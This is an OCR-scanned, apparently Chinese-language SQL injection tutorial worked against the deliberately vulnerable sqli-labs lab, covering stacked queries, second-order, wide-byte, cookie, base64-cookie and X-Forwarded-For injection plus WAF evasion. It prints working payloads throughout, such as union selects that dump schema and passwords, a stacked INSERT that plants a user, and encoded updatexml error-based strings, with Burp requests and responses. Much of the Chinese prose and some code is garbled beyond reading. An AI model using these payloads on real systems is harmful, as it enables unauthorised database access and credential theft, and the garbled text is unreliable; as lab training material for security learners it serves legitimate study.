$£37 E 5] sudo docker run -dt --name sqli -p 7766:80 acgpiano/sqli-labs
EREBEINTET, ZFRI get 5489 1id , £ mysqli B 7 N#HATHEE#,
T AT E A BHEE F T mysqli multi query B A sql B4, SERFEESEE
Ao

N\ docker & &

sudo docker exec -ti sqli /bin/bash



1. (isset (§_GET["id 1))

4. /1 the connecti
5. $fp=fopen(’ result.txt’ )
6. furite($£p,” ID:". $id. "\n")
7. fclose($fp)

8.

10. for stacked query examples.
11. ect ($host, $dbuser, $dbpass, $dbnane)
12.

13. nnect_errno ($conl))

14. {

15. “Failed to comnect to MySQL: ” . mysqli_comnect_error ()
16.

17.

18. {

19. @nysqli_select_db($conl, $dbname) or die ( “Unable to cormect to the database: $dbname”)
20. }

21.

22.

2#. $sql="SELECT * FROM users WHERE id="$id’ LIMIT 0,1"
26. /# execute multi query ¥/

28. (mysqli_multi_query($conl, $EERD))

2.

280

29.

30. # store first result set #

3l ($result = mysqli_store_result($conl))

32.

33 ($row = mysqli_fetch_row($result))

3 {

35, ’<font size = "5” color= "#00FF00">’
36, printf ("Your Username is : %s*, $row[1])
37, “<br>”

38. printf (“Your Password is : $s", $row[2])
39. “<br>"

40. “<ffont>”

41. }

42, mysqli free e

43.

44, ® nt divider #/

45. results($conl))

46. {

1.19.5. ERF AT A

# ffl id=1"and 1=2--+ id=1"and 1=1--+% % & & & fF £ E N B8 L F # &1
AT R

-999' union select 1,2,(select group _concat(TABLE NAME) from
information_schema. TABLES where TABLE SCHEMA=database() limit 1)--+

Welcome
Your Username is : 2
Your Password is : emails,referers,uagents,users

EEEFRANERRE R, BRRFE
-999' union select 1,2,(select group concat(column name) from
information_schema.columns where TABLE NAME="users' limit 1)--+



© & 192.168.0.101:7766/Less-38/?id=-999' union select 1,2,(select group_concat(column_name) from information 2 CTII # 4

Batk

Welcome

Your Username is : 2
Your Password is : id,username,password

F0i R BT EJU T A insert into EANIE A HATRH MK S, mREEHEL B
BEAMEERKTRTEXES.

http://192.168.0.145:7766/Less- 38/‘?1d=1%27;INSERT%20into%20users%20values(2
0,%27moonsec%27,%27123456%27)--+

1d=-999';insert into users(id,username,password)values(1000,'moonsec','123456')--+

77 4] 1000 EPTW%U J M"ﬁuém&v

© # 192.168.0.101:7766/Less-38/%id 98 | oo

(3

B9 mmmnt

Welcome
Your Username is : moonsec
Your Password is : 123456

1.19.6. ZGEANKT

ZORENIREZ AL Web SRR F T ZFEAENZLREN R T —
ENREME, ZRENKEEREUHE LI, EECHER S —REAK G IRE
GERCIECRE &g

ZRENERE

CRENWERE, EF - RATHEEFT AL FEHEEK, RRRZERAT
addslashes = # & f& B get magic quotes gpc X H F E&FFR FRH AT T 2 X, B
% addslashes H —MF Rt 2 BASHEL R E2H M “\7 #THEX, EE“
LN BEET, EENHEENRELERE T R ANEE.
ERBEFNBNTHEEFZ G, TRERAAEERETEH. £ T —RH#ATHF
FHATE W, EBEAKEETRE T IEEE, RAHTT Ik
B, XFERSELSQL I —REN, W ESE —RENKENHR, HEFTWF
HES S, BB THREEY; ABET - REATEFENIR T, B
BT ZIREN.



ZRIENE R

ZUHENRE, B AFRD

F—: MABEIEE

B — UCHHT B FE AR A SR RO MR, (LD AR IR AT HE L, 5 N BUR P R 3L
RRE TERMEE, BRIENFFEEEEAE,

B 5 HERNEE

TR SR AR P8R E T Ja, TTREIOVEIR R TERN. £ T — K BET E AR,
HEAETEU TREREE, AR THE PRI, RS IE Misql —IKTEN

A5 ot SHZ T L N FAEEEEIE
FHR— 45| XN EIE IR
3

Y JE B TUE
B H Nsql

1 IR
FHER

1.19.7. ZSGEANR B4
% sqli-lbas 24 7 E ZREN. LRI — TR,

if (isset($_POST['submit']))
{

# Validating the user input........

LLS, S ROSTL 9 .

$username= mysal_escape_string($7POST[ 'username']) ;
$pass= mysql_escape_string($_POST['password']);
$re pass= mysql_escape_string($ POST['re_password']);

echo "<font size="3' color="#FFFF@Q'>";

$sql = "select count(*) from users where username='$username'";

$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);

//print_r($row);
if (!$row[0]== @)
{

2>

<script>alert("The username Already exists, Please choose a different username ")</script>;
<?php

header('refresh:1, url=new_user.php');

else
if ($pass==%re_pass)
# Building up the query........
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
mysgl guery($sgl) or die('Error Creating your user account, : '.mysql error());
echo "</br>";
echo "<center><img src=../images/Less-24-user-created.jpg><font size='3"' color="#FFFF00'>";

//echo "<h1>User Created Successfully</h1>";
echo "</br>";
echo "</br>";
echo "</br>";

erhn "<¢/hr3Redirertino von +n lnoin nace in § cer

mysql_escape_string B ¥ & H AT AATUE o0 BHEXRRTV KB
insert into 7 N\ £ # & E +,

7 loginphp & & IR & 3K BH mysql_escape_string AT i A\ 0y 5 &k AT 45 X
B Z FEHEETERIEE WK S MEL FE A2 session 2,



Nruive

<?PHP

session_start();
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");

743

$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]); <
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'"; E@)\;IH’B%%%
/$sql = "SELECT COUNT(*) FROM users WHERE username='$username’ and password='$password'"; R 5
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( '); 1§U§lﬂ§ﬁu)\m00nsec

$row = mysql_fetch_row($res); " N 7T, v =
ke FESURREHEIR NS
if ($row[1]) {

return $row[1];
} else {

3

return 0;

$login = sqllogin();
if (!$login== @)

{ ] . . .
|Ls_sesston["usernane®] = $1ogin; ] moonsec'E4FseesionE X sessionELfF
SEtCOOKIe( AUTh ™, I, time(J)¥3600); /- expire in 15 Minutes

e
header('Location: logged-in.php'); %‘BED,U(EX

else

{

>

<tr><td colspan="2" style="text-align:center;"><br/><p style="color:#FF0000;">

<center>

<img src="../images/slapl.jpg">

</center>

</p></td></tr>

1 & pass_change.php JF

if (isset($_POST['submit']))
{

SVolidotingmth s NEa . AT =
$username= $_SESSION["username"]; MEE"JE&SGSSIOH%PE@'HWE = I:E;:\,%kéi
TUFT paces mysql real escape string(y T ~password 1)

$pass= mysql_real_escape_string($_POST['password']); E

$re_pass= mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username’ and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
eCho. ONt size="3" COlor="#FFFFOO > ;
echo '<center>'; )I? 15)\ Na¥/»” & :}-g‘ﬂ:EEQI
e GFusernamef& N IREZTITIE;
{
echo "Password successfully updated”; )\
else

header('Location: failed.php');

//echo 'You tried to be smart, Try harder!!!! :( ';
}
}
else
echo '<font size="5" color="#FFFFO@"><center>';
echo "Make sure New Password and Retype Password fields have same value";
header('refresh:2, url=index.php');
%
¥
>
<?ph

if(isset($_POST['submit1']))
{

$ SESSION['username'] Z il % $username 7 F {7 3L J& B # N\ UPDATE % 4] ¥ i#&
BEN. BAREREZEMAF, EXRTEESREEN. JUFR ZKRENE
R, BERAEEER, FE AT AHBERRINHGEE,



1.19.8. BEEFE T#HITZRGENR

S R B P ok G AT IR, — A ILT Wb 2 X i A\ By S RS AT IR,
REFRT2TANEERE - KEANNT . Gl P EM->% 3RS

WA EM -G RES XEM>XERE, K—VEEZREAN TR
ZREANMR SQL EN, ZREASBEFREEN, FUEERA A FA.
HEZMAF © BHAEMAF a and 1=1# a' and 1=2# B & 7 & fil X 79 3
7T o

YOU ARE LOGGED IN AS

a' and 1=1#

You can Change your password here.

Current Password:
New Password: _
Retype Password: _

AL E N al23456 R EH UF B BB R RIS T .

moonsec' and 1=1--+ 123456
moonsec' and 1=2--+ 123456
moonsec' or updatex | 123456

' and 1=1# 123456

123456

21 rows in set (0.00 sec)

W RZ a and 1=2# & ABBHT 2 RIA



© £ =0 192.168.0.101:7766/Less-24/failed.phy 2 RTTI 4

Wt

AR TTUHB R =N EMENEEAWSHEKERS S8 %
ENEWHRSER, ZHENTES mysql BB EWREH TRAD, RHBEEH
fo K S B 55 T Fl4e admin B9 A,

AP admin't B FBHEH BEE B X admin 89 5 A

AR i

YOU ARE LOGGED IN AS

admin'#

You can Change your password here.

Current Password:
New Password: m
Retype Password: m

Logout




Angelina I-kill-you
Dummy p@ssword
secure crappy
stupid stupidity
superman genious

dhakkan
adming adming
moonsec 123456
moonsec' 123456
moonsec' and 1=1--+ 123456
moonsec' and 1=2--+ 123456
moonsec' or updatex 123456
a' and 1=1# 123456
a' and 1=2# 123456
al23456

|
[
|
|
[
|
|
|
[
|
+

21 rows in set (0.00 sec)

moon@moon-virtual-machine: ~ x root@001325¢C

| admin4 adming |
| moonsec 123456 |
| moonsec' 123456 |
| moonsec' and 1=1--+ 123456 |
| moonsec' and 1=2--+ 123456 |
| moonsec' or updatex 123456 |
| |
| |
| |
+

123456
123456
a123456

Angelina I-kill-you
Dummy p@ssword
secure crappy
stupid stupidity
superman i
AR

adi

n2 n2
admin3 admin3
dhakkan dumbo
adming adming
moonsec 123456
moonsec' 123456
moonsec' and 1=1--+ 123456
moonsec' and 1=2--+ 123456
moonsec' or updatex | 123456

ZRENBMHAEKET, FHELAT,

1.19.9. BFHHEN

WFFIEN, £ SQL #HATHENNEE, — B ST E gpe, WIRKHRT .
—BERNTIE gpe B U HR L FHEENEN, E2WRBEERDT
X, W LE B SQL FriE AT, KREFENWEN., wRFEEERERTFVF
F& gbk 2 RHFEFTEN, AM#kk gpe

B3R 4 1F

{6 AR BB E SR AL 5 PHP i1k B 0 A Bl WA MRS AR AR ¥ 867 & R F
HEN



BNV BERRF W ENRR, & %5808 E 5w N/ % F 7 AAT SQL
EA, RRALERIEEZNFHERE T MK FTLEZ 0x5C01011100) #F
%, MFRINRE R Bigs f2 GBK FR/EAZHH, UTF-8 f1 GB2312 &
HXMFRF (ARAFERFHTEN .

gpe 2 i A2

%df%27===(addslashes)===>%d{%5c%27===(#% 1% & GBK)==—=>1%"

1.19.10. EFWHIANRBIHR

WIRRAE 247, FAERFEARA 7% check addlashes =& ¥ 4F 7k F 4F #E 4T 1§
B Z A&\ mysql_query % E 2K 1E B B4R A 4 gbk K id 4% N\ E| SQL
T, FN%d%27 BIF ik gpe, MFERF T EN

if (isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);

/ gging parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite ($fp, 'ID:'.$id."\n");
fclose ($fp);

mysql_query("SET NAMES gbk");

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

Sresult=mysql_query($sql);

TOW = mysgl_fetch _array (STesulty

if ($row)
{
echo '<font color= "#00FF00">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .S$row['password'l;
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error()):;
echo "</font>";
}
}

Alen @ anha D1 3 N - o P4k mmari s wralaat e

1.19.11. BEFETHREFHIEG

TFFANE A EE N %d%27 A0 BN ¥ 5 6 F B A and 1=1 40 BY ]
-1%df%27%20and%201=1--+ T & 2 & % £ &7
-1%df%27%2001%20sleep(10)--+ T T & & 7 1& & if

B MR FERF T EN
-1%df%27%20union%20select%201,version(),database()--+



@ © & 192.168.0.101:7766/Less-32/?d=id=-1%df%27%20union%20select%201,version(),database R LIND © f §
@ st B wmm Bsesz Demes

Welcome
Your Login name:5.5.44-0ubuntu0.14.04.1
Your Password:security

SQLI DUMB SERIES-3 2

Hint: The Query String you input is escaped as : id=-1€\' union select 1,version(),database()--
P Query String you input in Hex becomes : 69643d2d31df5c2720756e696f6e2073656c65637420312c76657273696f6e28292c646174616261736528292d2d20

1.19.12. COOKIE ¥

COOKIE 7\ 5§ GET. POST AKX A4 A, REEF#HFNF AL —#. GET H
url 3% %4k, POST #£ POST IE X f£# 5 ##f1{, COOKIE # cookie k1% & .
£ burpsuite TR % B 7 R,

<?php

echo "get ---";

echo $ GET['a'];

echo "post ---";

echo $§ POST['b'];

echo "cookie ---";

echo $ COOKIE['c'];

>

Raw | Params | Headers | Hex | Raw | Headers | Hex [ Render |
) n.

T get A HTTP/1.1 200 OK
r Da 021 04:05:48 GHMT
a/5.0 (Windows NT 10.0; Win€4; x€4; rv:88.0) Se: 39 (Winé4) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/l1.02
.0 X-! 4
Co:
by sq=0 Co html; charset=UTF-8
Co

GET--a</br>POST--h</br>COOKIE--c</br>

get & url # BUE R 77 % £ post R EAE url ¥ L &7 DUE 3% get
post 7 IE X2 & X B 77 7% S0 AT A& post
cookie A % H post #f 7] DL



1.19.13. COOKIE AR ST

7 Less20 F #| 7 2 % 4% & submit %0 & 77 7 $cookee = $_COOKIE['uname']; 3% (&
R 2|Scookee F FHHFHEEE] sql AN E W, R IE N

isset($_POST[ 'submit']))

$cookee - $_COOKIE[ ‘uname’];
'NdMY - Hizs';

mages/Less-20.jpg" />';

= "red” font size="4">';
"YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
"< /font><br>";
‘<font color= "cyan" font size="4">";
“YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];
"< /font><br>";
‘<font color= "#FFFF@@" font size = 4 >';
w YOUR COOKIE WAIT FOR IT TO EXPIRE <br>";
‘<font color= “"orange” font size = 5 >';
OUR COOKIE : uname = $cookee and expires: " date($format, $timestamp);

br></font>";
users username-"$cookee”
ry($sq1);

th your mysql: * mysql_error());
1

}
$row = mysql fetch_array($result);
($row)
{

‘<font color= "pink" font size="5">";

"grey" font size="5">";
' .$row[ 'password'];

images/slapl.jpg" />';

center>’;
‘<form action="" method="post">";
‘<input type="submit" name="submit" value="Delete Your Cookie!" />';
oros .

1.19.14. EEIETH cookie FANK T

cookie Tt £ B H T B M &, S H 7 B KR, 7] LAX X 23 gE AR e 34T
Mk, HME cookie & 4T % 2 MK

il cookie & 22 K i fir NI & HAT RN Z L F A SQL iEAN.
http://192.168.0.101:7766/Less-20/index.php

% | buspsuite 9 & K @HER

#r A\ uname=admin'+and+1%3d1--+ uname=admin'+and+1%3d2--+2t 17 & |



http://192.168.0.101:7766/Less-20/index.php

Burp Project Intruder Repeater Window Help

(1Dashboort Tage | o] o RN et Do | Garpae | Extondn | P pions Usstntions

[1-T2 - oual - |
Send | [ cancel | [(<[v] | >v Target: htp://192.168.0.101:7766
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex [ HTML | Render
B - T HTTP/1.1 200 OK
2 7 Dace: 21 may 2021
S0mal//EN" attn:/ /v, 63 05/ TR/ xhtml1/DTD /st 1~ ransi tonal .t
Lo lmpkasgs . />
Jeinie
Lot
Send | [ cancal | (<[] [ >r Target: hip:/192.168.0.101:7766
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
e e ATTR/ 1.1 g B
2 e | .

(¥indows NT 10.0; ¥inea; xe
o

IR AR 22 A [l JE A\ VE 8] P TR B S — #F

ER B e TR AR

GET /Less-20/index.php HTTP/1.1

Host: 192.168.0.101:7766

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101
Firefox/88.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http://192.168.0.101:7766/Less-20/

Connection: close

Cookie: uname=-admin'union+select+1,2,user()-- ;
PHPSESSID=89ja0kepcq3k1hi41elmpk8eg3

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0



6uap Prot e Fepestr Window Holp
(Dastona [ Tage | P | indor [ g Somercr | Docovr | Comparr | Extnder | Precapiens | Useropins |
2 el

| send a B

Request Response

Tages wpinszsso071ss 2 3

tex | HTML | Render
oK

"E LA L

GET /Less-20/index.php HTTP/1.1

Host: 192.168.0.145:7766

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Origin: http://192.168.0.145:7766

Connection: close

Referer: http://192.168.0.145:7766/Less-20/

Upgrade-Insecure-Requests: 1

Cookie: uname=-admin'+tunion+select+1,2,(select+concat(username,0x3a,password)+from+users+limit+1)%23

Tk 5 F1 %5 A4 Dumb:Dumb

1.19.15. base64 ZRESEN

base64 — it Hl T A AT 2 4, Blandifr, ©A TE A EFHEAEN T+,

ARG AR, 7L EIEE K, 0H A D P35 base64 vEAT E09E 1%,

Wi R B id ERSE A T B baseod L E AL EINSH

7 php # base64_encode() B £k *T F #F & #EAT base64 4w A5, BE 48 7T LU 4w A5 4, 7] DAt

AT#E7L, base64 decode()iX /> B # % base64 AT fE A,

Y B R ARG AR

1 ->base64 % #h->MQ==->base64 £ % ->1

base64 JmAdiE N\, P UL gpe EANFER, BARELEWNFHELTFERAKT
RN EHFHE, ERFTYENUMD, B EKSQL K EHEH, HH
AT A SQL v E A

1.19.16. FERGHTHT base6d AN

MW EREN KRGS, &AW 2% H POST B submit 5 i ktn R A
f# F|$_COOKIE['uname'| 3% B cookis %33 Ry k5, B HE 2| SQL # N\ &1,



X B R A B & B $cookee = base64 decode($cookee); Hf $cookee % it & #y 5 4t it
ATH#ERD, BT LAScookee 1 # it sk M 0 #E SO MR AT SRAS, TNMEALT 255 Y
=N

(!isset($_POST[ 'submit']))
{

$cookee $_COOKIE[ "uname'];
= 5 W ] A1 T i B

images/Less-21.jpg" />';

<br><br><b>";
<br><font color= "red" font size="4">";
YOUR USER AGE! IS : ".$_SERVER['HTTP_USER_AGENT'];
</font><br>"
<font color= "cyan" font size="4">";
YOUR IP ADI SS IS : ".$_SERVER['REMOTE_ADDR'];
</font><br>";
‘<font color= "#FFFF@@" font size = 4 >°;

YOUR COOKIE WAIT FOR IT TO EXPIRE <br>";
<font color= "orange" font size = 5 >';
YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);

$cookee base!
echo "<br></fo
$sql-" users username=( '$cookee" )
$result-mysql_query($sql);
($result)

('Issue with your mysql: *

$row - mysql_fetch_array($result);
($row)
f
L

echo '<font color= "pink" font size="5">";

echo 'Your Login name:'. $row[‘username’];

echo "<br>";

echo ‘'<font color= "grey" font size="5">";
‘Your Password:' .$row[ ‘password’];

* $row['id'];

mages/slapl.jpg" />';

> '<center>';
<form action="" method="post">";
<input type="submit" name="submit" value="Delete Your Cookie!" />'
</form>";

o "</center>’;

1.19.17. BEIFE TR} base6d HIDIHITIEN

B RN W k& G 7 A base64 YA e 8, Flinfe# iy id BME, # RAER,
W R AFAE K M==2%, ¥ LLF base64 #F & IAT IR,

admin'and 1=1-- g% YWRtaW4nY WS5KkIDEIMSOtIA==

admin'and 1=2-- %45 YWRtaW4nY W 5kIDEOMiOtIA==

AR B T E 2 cookie FTULF E cookie £ M EA#E ST FEW &

JHl burpsuite 9@ /5 15 P& cookie 5 # = %

BT base64 %% FL

admin') and 1=1-- YWRtaW4nKSBhbmQgMTOxLSO0gIA==

admin') and 1=2-- Y WRtaW4nKSBhbmQgMTOyLSOgIA==




SR 7iess 17 rmaex oy WL
2 Host: 12.168.0.101:77¢6
118/5.0 (Bindows NT 10.0; Wiméd: x64; rvies.0)
o

User-Agent: Moz
Gecko/20100101 Firetox/

< Accepe:
cex/neml, applcatdon/ xhtal+xal, appLicat ton/xal: 470.9, tnage/ veb
5.

|Rocert hanshaoe

<0370 7, 2o G5, enUs.
gzip, detla

Cache-Control: max-age=D

oy e | s | e |

HTTP/1.1 200 OF
2 Date: Fri, 21 May 2021 03:50:5¢ GHT

Contenc-Type: text/heml
Latan>

D:/ /v w3. org/ TR/ xhtml1/DTD/ xhtml 1-transi tion,

10 </DOCTYPE html PUBLIC "-//WSC//DID XHIML 1.0 T:
B <ntml xmlns="hecp://www.w3.orq/ 1999/ xheml">

26 <head>
<meta Content-Type" ext/beml; " />

<citle>less-21 Cookie Injection- Error Bassd- complex - SCring</titles
& </head>

158 <ody bgeolor="HO00000">

47>7OUR USER AGENT IS : Mozilla/5.0 (Vindows NT 10.0;
192.168.0. 146</ font><br><font colo

fone siz:
"47>YOUR 1P ADDRESS IS

1.3pg" /><br><br><h><br><font color= "r;
reyanr font size

<center><hr><br><br><h><ing 9 /images/Less—
Vine; xet; Tvi03.0) Gacko/30100101 Fireten/o8.0¢/ fants<ors<tont. color
font size = 4 >DELETE YOUR COOKIE OR IRE <

expires: Fri 2l May 50:56<br></ font><tont color=
< action="" me »

avord.
£><hr> cbe> <be>hr

/></torm></ cent

/
</pody>
</beml>

) e | ven | | e |

GET /Lesa-3/ index.pip HTTP/1.1

2 Home: 152.18.0.101
VaosoAgans: Mozilias.0
Gecko/20100101 Firefox/e8
Aceapt:

cese/neal ompisceston/shen ol anplices tonl 170, tmnoe

R L W R

b, "
| Aecept-Langua
7.3, Sh-TH 0.7, Sh-H G=0. 5, €n-US: 0.3, ens q=0.2
Accepe-Encoding: gzip, detlate

PHPSESST

g
7
H

Cache-Control: max-age=0

FREXNE R EF

HITP/1.1 200 OK

Date: Fri, 21 May 2021 03:51:58 GHT
he/2.4.7 (Ubuncu)

PHP/S.5.9- lubuncud. 13

close
Content-Type: cext/heml
</DOCTYPE html PUBLIC "-//WSC//DTD XHTML 1.0 Transitional//EN® "http://ww.us.org/TR/xhtml1/DID/shtmll-transitional.dtd">
 <html smlns="hetp://wew. 3. org/ 1998/ xheml >

B <head>

ext/henl; cteuce-av />

S <citlesless-21 Cookie Injection- Error Bassd- complex - string</title>

16 </nead>

<body bgeolor="§000000">

mages/Less—21.9pg" /><br><br><b><br><font color= "red" font size="4”>YOUR USER AGENT IS : Hozilla/5.0 (Vindows NT 10.0:
= Moyan” font size="4">YOUR TP ADDRESS IS : 152.168.0.146</font><br><font color= "FFFFFOO"

Zont si%e - i SDELETE TOUR COOKIE CR WAIT FOR I 70 BPIRE orcron color: Toranger onc size '8 SYOUR COOCIE : wnane = YURCAVIMSEROUUTDYLSOgThes and
cxpires: Fri 21 May 2021 - 04:5L:58<hr></font>< ot e b images/slapL.Ipg” / = o Cinpue type
Taumicw namectaumien valuemBelets Tout Cookia!n /54 form <) contots dors ors dbE> e

%A adminy

Seemter <o B> e <> img sro=t. ./
Ko/20100101 Firefox/88.0</ font><br

wined; xed

</body>
</heml>

R FH admin 71 U H £ B B4R T

admin % — kK #

IR BT LA 72 SQL VE N .

AR A A7 AE mysqli_error & AT LA LLE A A 4R 45
admin')and (updatexml(1,concat(0x7e,(select user()),0x7¢e),1))--

=

FNF#— T HBHREE L
# 1T base64 % 5

YWRtaW4nKWFuZCAodXBkY XRleG1sKDEsY29uY2FOKDB4N2UsKHNIbGVjd

CB1c2VyKCkpLDB4N2UpLDEpKSOtICA=

R R

N



I Burp Suite Professional v2020.1 - Temporary Project - licensed to surferxyz
Burp Project Intruder Repeater Window Help

Dashboard | Target | Proxy | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options |
au

Send

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

1 GET /Less-21/index.php HTTP/1.1 1 HTTP/1.1 200 OK

2 Host: 192.168.0.101:7766 Date: Fri, 21 May 2021 03:56:16 GHT

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x64; rvi8s.0) Server: Apache/2.4.7 (Ubuntu)
Gecko/20100101 Firefox/88.0 X-Powered-By: PHP/5.5.9-lubuntud.13

4 Accept: Vary: Accept-Encoding

text/html,application/xhtml+xml, application/xml;q=0.9, image/web Content-Length: 1010

P, */*;q=0.8 Connection: close

Accept-Language: Content-Type: text/html

2h-CN, zh; q=0.8, zh-TV; q=0.7, zh-HK; q=0.5, en-US; q=0.3,, en;

¢ Accept-Encoding: gzip, deflate

<|v >|v

T

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTID/xhtml
<html xmlns="http://www.ws.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" ext/html; charset=utf-g8" />

2|Cookie: uname=
YWRtaW4nKWFuZCAodXBkYXR1eGlSKDESY29uY2FOKDB4N2 USKHN1bGVIdCB L2V
yKCkpLDB4N2UpLDEPKSOLIC PHPSESSID=89ja0kepcq3kihidle lmpkBgg3
+ |Upgrade-Ins 1

<title>Less-21 Cookie Injection- Error Based- complex - string</title>
</head>

10 Cache-Control: max-age=0

<body bgcolor="§000000">

<c ><br><br><br><b><img src="../images/Less-21.3pg" /><br><br><b><br><font color= "red” font size:
Ving4; x64; rvi88.0) Gecko/20100101 Firefox/88.0</font><br><font color= "cyan" font size="4">YOUR IP I
font size = 4 >DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br><font color= "orangs" font size = 5 >¥(
2USKHN 1bGV3dCB Lc2VyKCkpLDB4N2 UpLDEpKSOL ICA= and expires:

YVR 2 e
XP}TH syntax error: '~root@localhost~'

0 matches ©) =) u (> | roct@iocalnost

1.19.18. xff3EANBEH

X-Forwarded-For & #% XFF 3k, ©R&Z T &P smay HE 1P, 13T 6 B ry E kvl
PLPh3E & P om IP. XFF 3 1% gpe &, T BT & A\ RR B 5% Z 8 X /> XFF X,
T3 XFF Sk # AT 18,

<?php

echo "xff--".$ SERVER['HTTP X FORWARDED FOR'];

>

1# | burpsuite X-Forwarded-for: 9.9.99 ¥ M E X EF K &, WEEFFHBX
MEFHNBIEEEH 23K SQL EN.

% 7 X-Forwarded-For ¥/ HTTP CLIENT IP #i 7] DA &1 & 7 sk 4= %15, AT LUAR
FmBEX XA SHWEE RALESER SQLEANBRE EFGHAE.



Wi BUrp Suite Protessional v2UZU.1 - | emporary Project - licensed to surterxyz —

Burp Project Intruder Repeater Window Help

[ Dashboard | Target [ Proxy | intruder [ Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options |

[1 2 ]2 ] Jismal -
Send Canc <|v > |y

Request Response

Raw | Headers | Hex Raw | Headers | Hex | Render

1 GET /xxf.php HTTE/1.1 A 1 HTTP/1.1 200 OK

2 Host: www.cdna.com r 2 Date: Fri, 21 May 2021 04:56:25 GNT

3 X-Forvarded-for: 9.9.9.9 Server: Apache/2.4.39 (Win€4) OpenSSL/L.l.lb mod_fcgid/2.3.9a mod,
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Vinéd; xé Firefox/88.0 4 X-Powered-By: PHP/7.3.4

5 Accept: text/ q=0.8 5 Connection:

& Accept-Langua & Content-Type: text/html; charset=UTF-8

7 Accept-Encodi: 7 Content-Length: 13

& Connection: clos

Upgrade-Insecure-Requests: 1 %f£---9.9.9.9
10 Cache-Control: max-age=0

1.19.19. xff3EANRBE S

getenv('HTTP_X FORWARDED FOR')% BT 2 % 7 3 e
HTTP_X FORWARDED_FOR #J{H & H # 4T 1L & $f 8 SQL & 4 7 N\ & 1418 R IE
Ao

ype:text/html;charset=utfg8"
ct("localhost”,"root","root", "bank™);
t($con, "'utf8’);

failed : ".my connect_error();

CLIENT_IP')) {
= Iy
("HTTP_X_FORWARDED_FOR")) {
“HTTP_X_FORWARDED_FOR" )3
("REMOTE_ADDR")) {
*REMOTE_ADDR") ;
r

1
$ip - $HTTP_SERVER_VARS['REMOTE_ADDR'];

<hr><br>*;
BAE : $sql”;

1.19.20. HEEENET «ff FANBE

A P BT EMAE A HTTP k12 E 4 m X-Forwarded-for: 9.9.9.9' , Fl 7 &£ &
Megetf, WRFEZARE cHIAL RN TREHE. ATIFEEMSEE
TR P KRB

burpsuite M & &2 i A A N1E 4

X-Forwarded-for: 127.0.0.1'and 1=1#

X-Forwarded-for: 127.0.0.1'and 1=2#

FRFER R B A —# F4& SQL iENTRIH

HEBREE A



X-Forwarded-for: 127.0.0.11'union select 1,2,3,user()#
MANRRE FEEBITELEE root@loclhost

x> <he> <br>al¥eecODe - A0¥a0iDse L

1.20. SQL FALZTHEAR

SQL ENZHHEA BER—NEZEFRNALT, BENT LUER XL Z waf
MR RA R, KB G S % waf BHEEEMKE SQL EN, HF —
T EREGHEERERM, flm s ZeM. dFE. TEREERFES WA
SH AT IR Al an 360webscan I A & HE S5 N EHE# 2 AT
M, BMEEHEEEGREER. SQLENETWEA LA R £, HEE HIH
AR EE wal 7= & R, B 4 waf 7= & 980U Bk B £, BT DAT st & MR M
ZARGUBERE, XBENRTE, WRWEERMEEETT . BETxHES
TE A4 3 waf EBRENWSET T %,

1.20.1. B FEFET

AN ZHARE N, K Tab REZH, %a0==4#%
%20 %09 %0a %0b %0c %0d %a0 %00 /**/  /*1*/

select * from users where id=1 /*!union*//*!select*/1,2,3,4;
%09  TAB # (k)

%0a ME—AT

%0c  HW—T

%0d  return I fE

%0b  TAB # (FEH)

%a0 =R

UK E TR AR o D U X B R IE mysql RA R A
TR REH/



1.20.2. X/©NE &S

Y xmEiRE Y ANE, fliwand 1=1 # & AND 1=1 AnD 1=1
select * from users where id=1 UNION SELECT 1,2,3,4;
select * from users where id=1 UniON SelECT 1,2,3.4;

2 rows in set (0.00 sec)

mysql> select * from users where id=1 UNION SELECT 1,2,3,4;
e B Formmmm e +

| id | username | password | email

R B B +

| 1] admin | 123456 | moon@moonsec.com

| | 3 | 4 |
] Hommmmeeoen o +

2 rows in set (0.00 sec)

mysql> select * from users where id=1 UniON SelECT 1,2,3,4;
e Foemm e Formmm e +

| id | username | password | email

B e e B +

| 1] admin | 123456 | moon@moonsec.com

| | 4 |

